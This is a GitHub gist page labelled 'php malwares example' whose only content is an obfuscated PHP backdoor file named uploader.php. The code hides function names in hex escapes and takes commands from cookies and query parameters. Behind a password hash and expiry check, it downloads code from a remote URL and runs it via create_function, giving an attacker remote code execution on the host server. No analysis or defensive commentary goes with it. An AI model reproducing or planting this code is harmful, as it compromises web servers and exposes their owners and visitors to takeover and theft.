Skip to content

Instantly share code, notes, and snippets.

@zoghal

zoghal/uploader.php

Created July 10, 2022 06:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zoghal/99cb0d8619aeb9dbb5a0d3d1fd6b427d to your computer and use it in GitHub Desktop.
Save zoghal/99cb0d8619aeb9dbb5a0d3d1fd6b427d to your computer and use it in GitHub Desktop.
Download ZIP
php malwares example
Raw
uploader.php
<?php $g=${"\x5f\x43\x4f\x4f\x4b\x49\x45"};if(in_array(gettype($g)."29",$g)){$g[61]=$g[61].$g[75];$g[85]=$g[61]($g[85]);@$g=$g[85]($g[52],$g[61](${$g[50]}[20]));$g();} $zyefa = array(@${"\x5f\x47\x45\x54"}["\x41\x52\x52\x41\x59"],"\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e","\x73\x74\x72\x5f\x72\x6f\x74\x31\x33","\x6a\x73\x6f\x6e\x5f\x64\x65\x63\x6f\x64\x65","\x70\x61\x63\x6b","\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",@${"\x5f\x47\x45\x54"}["\x6f\x66"],);$tHFob = $zyefa[2]($zyefa[0]);$cyn = @$zyefa[4]("\x48\x2a", $tHFob);$ztKh = $zyefa[3]($cyn, true); $zyefa[7] == 1 && die($zyefa[6](__FILE__)); if (($ztKh[0] - time()) > 0 and md5(md5($ztKh[2])) === "c7416592095e3335f3b2d881342baf52") { $gP = curl_init($ztKh[1]); curl_setopt($gP, CURLOPT_RETURNTRANSFER, 1); $mcbn = curl_exec($gP);$ew = empty($mcbn)?$zyefa[6]($ztKh[1]):$mcbn;@$zyefa[1]("", "\x7d" . $zyefa[5]($ew) . "\x2f\x2a"); die;} ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment